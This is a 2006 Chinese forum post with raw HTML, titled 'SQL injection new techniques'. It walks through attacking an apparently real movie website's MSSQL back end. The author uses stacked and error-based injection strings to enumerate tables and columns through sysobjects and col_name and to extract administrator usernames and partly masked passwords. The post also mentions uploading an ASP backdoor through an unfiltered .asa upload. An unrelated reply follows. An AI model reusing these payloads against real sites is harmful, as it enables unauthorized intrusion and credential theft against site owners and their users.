服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

中国海 发表于 2006-7-2 19:11:07

SQL注入的新技巧

<P id=date>来源: 一孔涂鸦 发布时间:2006-06-19</P>
<DIV id=content>&nbsp;<SPAN&NBSP;STYLE="FONT-SIZE:&NBSP;9PT">表名和字段名的获得<BR><BR>适用情况:<BR><BR>1)数据库是MSSQL<BR><BR>2)连接数据库的只是普通用户<BR><BR>3)不知道ASP源代码 <BR>
<P>可以进行的攻击<BR><BR>1)对数据内容进行添加,查看,更改</P><BR>
<P>实例:<BR><BR>本文件以</P><BR>
<P>为列进行测试攻击。</P><BR>
<P><STRONG>第一步:</STRONG><BR><BR>在输入用户名处输入单引号,显示<BR><BR>Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server&nbsp;错误&nbsp;80040e14&nbsp;<BR><BR>字符串&nbsp;之前有未闭合的引号。&nbsp;</P><BR>
<P>/user/wantpws.asp,行63&nbsp;</P><BR>
<P>说明没有过滤单引号且数据库是MSSQL.</P><BR>
<P><STRONG>第二步:<BR><BR></STRONG>输入a;use&nbsp;master;--<BR><BR>显示<BR><BR>Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server&nbsp;错误&nbsp;80040e21&nbsp;多步LE&nbsp;DB&nbsp;操作产生错误。如果可能,请检查每个&nbsp;OLE&nbsp;DB&nbsp;状态值。没有工作被完成。&nbsp;</P><BR>
<P>/user/wantpws.asp,行63&nbsp;<BR><BR>这样说明没有权限了。</P><BR>
<P><STRONG>第三步:</STRONG><BR><BR>输入:a&nbsp;or&nbsp;name&nbsp;like&nbsp;fff%;--<BR><BR>显示有一个叫ffff的用户哈。</P><BR>
<P><STRONG>第四步:</STRONG><BR><BR>在用户名处输入<BR><BR>ffff&nbsp;and&nbsp;1&lt;&gt;(select&nbsp;count(email)&nbsp;from&nbsp;);--<BR><BR>显示:<BR><BR>Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server&nbsp;错误&nbsp;80040e37&nbsp;<BR><BR>对象名&nbsp;user&nbsp;无效。&nbsp;</P><BR>
<P>/user/wantpws.asp,行96&nbsp;</P><BR>
<P>说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.<BR><BR>输入a&nbsp;having&nbsp;1=1--<BR><BR>一般返回如下也就可以直接得到表名和一个字段名了<BR><BR>Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server&nbsp;错误&nbsp;80040e14&nbsp;<BR><BR>列&nbsp;users.ID&nbsp;在选择列表中无效,因为该列未包含在聚合函数中,并且没有&nbsp;GROUP&nbsp;BY&nbsp;子句。&nbsp;</P><BR>
<P>/user/wantpws.asp,行63&nbsp;</P><BR>
<P>现在我们知道了ffff用户的密码是111111.</P><BR>
<P>下面通过语句得到数据库中的所有表名和字段名。</P><BR>
<P><STRONG>第五步:</STRONG><BR><BR>输入:<BR><BR>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;name&nbsp;from&nbsp;sysobjects&nbsp;where&nbsp;xtype=u&nbsp;and&nbsp;status&gt;0)&nbsp;where&nbsp;name=ffff;--<BR><BR>说明:<BR><BR>上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<BR><BR>通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的IDffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;id&nbsp;from&nbsp;sysobjects&nbsp;where&nbsp;xtype=u&nbsp;and&nbsp;name=ad)&nbsp;where&nbsp;name=ffff;--<BR><BR>同上可知id是:581577110由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了象下面这样就可以得到第二个表的名字了ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;name&nbsp;from&nbsp;sysobjects&nbsp;where&nbsp;xtype=u&nbsp;and&nbsp;id&gt;581577110)&nbsp;where&nbsp;name=ffff;--</P><BR>
<P>ad&nbsp;581577110<BR><BR>users&nbsp;597577167<BR><BR>buy&nbsp;613577224<BR><BR>car&nbsp;629577281<BR><BR>learning&nbsp;645577338<BR><BR>log&nbsp;661577395<BR><BR>movie&nbsp;677577452<BR><BR>movieurl&nbsp;693577509<BR><BR>password&nbsp;709577566<BR><BR>type&nbsp;725577623<BR><BR>talk</P><BR>
<P>经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的</P><BR>
<P><STRONG>第六步:猜重要表的字段</STRONG><BR><BR>输入:<BR><BR>现在就看看users表有哪些字段<BR><BR>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;col_name(object_id(users),3)&nbsp;from&nbsp;users)&nbsp;where&nbsp;name=ffff;--<BR><BR>得到第三个字段是password<BR><BR>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;col_name(object_id(users),4)&nbsp;from&nbsp;users)&nbsp;where&nbsp;name=ffff;--<BR><BR>得到第四个字段是name<BR><BR>最后users表的字段共28个全得到了<BR><BR>(注:另一个得到字段的办法,前提是系统的返回出错信息<BR><BR>a&nbsp;group&nbsp;by&nbsp;ID&nbsp;having&nbsp;1=1--<BR><BR>得到<BR><BR>Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server&nbsp;错误&nbsp;80040e14&nbsp;<BR><BR>列&nbsp;users.userid&nbsp;在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在&nbsp;GROUP&nbsp;BY&nbsp;子句中。&nbsp;</P><BR>
<P>/user/wantpws.asp,行63&nbsp;<BR><BR>这个第二个字段就是userid<BR><BR>显示第三个字段。&nbsp;<BR><BR>a&nbsp;group&nbsp;by&nbsp;id,userid&nbsp;having&nbsp;1=1--</P><BR>
<P>Microsoft&nbsp;OLE&nbsp;DB&nbsp;Provider&nbsp;for&nbsp;SQL&nbsp;Server&nbsp;错误&nbsp;80040e14&nbsp;<BR><BR>列&nbsp;users.password&nbsp;在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在&nbsp;GROUP&nbsp;BY&nbsp;子句中。&nbsp;</P><BR>
<P>/user/wantpws.asp,行63&nbsp;<BR><BR>得到是password<BR><BR>同理,一直显示出所有。:)<BR><BR>)</P><BR>
<P>users表<BR><BR>1&nbsp;2&nbsp;3&nbsp;4<BR><BR>id&nbsp;userid&nbsp;password&nbsp;name</P><BR>
<P>5&nbsp;6&nbsp;7&nbsp;8&nbsp;9&nbsp;10&nbsp;11&nbsp;12&nbsp;13&nbsp;14&nbsp;15&nbsp;16<BR><BR>Province&nbsp;homeaddress&nbsp;city&nbsp;adress&nbsp;starlook&nbsp;sex&nbsp;email&nbsp;nlook&nbsp;nos&nbsp;date&nbsp;money&nbsp;send</P><BR>
<P>17&nbsp;18&nbsp;19&nbsp;20&nbsp;21&nbsp;22&nbsp;23&nbsp;24&nbsp;25&nbsp;26&nbsp;27&nbsp;28<BR><BR>oklook&nbsp;dnlook&nbsp;lasthits&nbsp;phone&nbsp;askmejoin&nbsp;getmoney&nbsp;payno&nbsp;logintime&nbsp;mflag&nbsp;state&nbsp;post&nbsp;note</P><BR>
<P>starlook--12&nbsp;10&nbsp;2003&nbsp;2:41PM<BR><BR>nlook---0<BR><BR>nos---2&nbsp;登陆次数<BR><BR>date--12&nbsp;10&nbsp;2003&nbsp;12:00AM&nbsp;注册时间?<BR><BR>money--同上<BR><BR>send--空<BR><BR>oklook--0<BR><BR>dnlook--0<BR><BR>getmoney--0<BR><BR>state--0<BR><BR>note--这家伙很。。。&nbsp;说明</P><BR>
<P>password表<BR><BR>1&nbsp;2&nbsp;3<BR><BR>id&nbsp;name&nbsp;pwd</P><BR>
<P>然后我又试ad原来是用来记录广告击点的。。<BR><BR>然后又试password表得到有name和pwd字段。<BR><BR>执行<BR><BR>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;name&nbsp;from&nbsp;password)&nbsp;where&nbsp;name=ffff;--<BR><BR>可得第一个用户名是admin123看样儿多半是管理员了。<BR><BR>然后又得到了密码是dy***dick188还是打星号算了哈哈...</P><BR>
<P>这样我们就完全进入了这个电影网站的后台了哈哈。<BR><BR><A href="http://www.dy/" target=_blank>http://www.dy</A>***.com/login.asp</P><BR>
<P>再进一步还可以知道管理员一共有三人密码也都能看到了。<BR><BR>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;count(id)&nbsp;from&nbsp;password)&nbsp;where&nbsp;name=ffff;--<BR><BR>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;pwd&nbsp;from&nbsp;password&nbsp;where&nbsp;id=2)&nbsp;where&nbsp;name=ffff;--</P><BR>
<P>ffff;update&nbsp;&nbsp;set&nbsp;email=(select&nbsp;top&nbsp;1&nbsp;name&nbsp;from&nbsp;password&nbsp;where&nbsp;id=2)&nbsp;where&nbsp;name=ffff;--</P><BR>
<P>只是能免费看电影好象还不够哈..我看了看它的后台管理原来在添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就能上传一个asp后门并执行&nbsp;</P><BR>
<P>&nbsp;</P></DIV></SPAN&NBSP;STYLE="FONT-SIZE:&NBSP;9PT">

songsong 发表于 2006-4-26 18:38:50

re:SQL注入的新技巧

<P>真正的爱情是不分地域和文化的,呵呵。祝福他们!</P>
页: [1]
查看完整版本: SQL注入的新技巧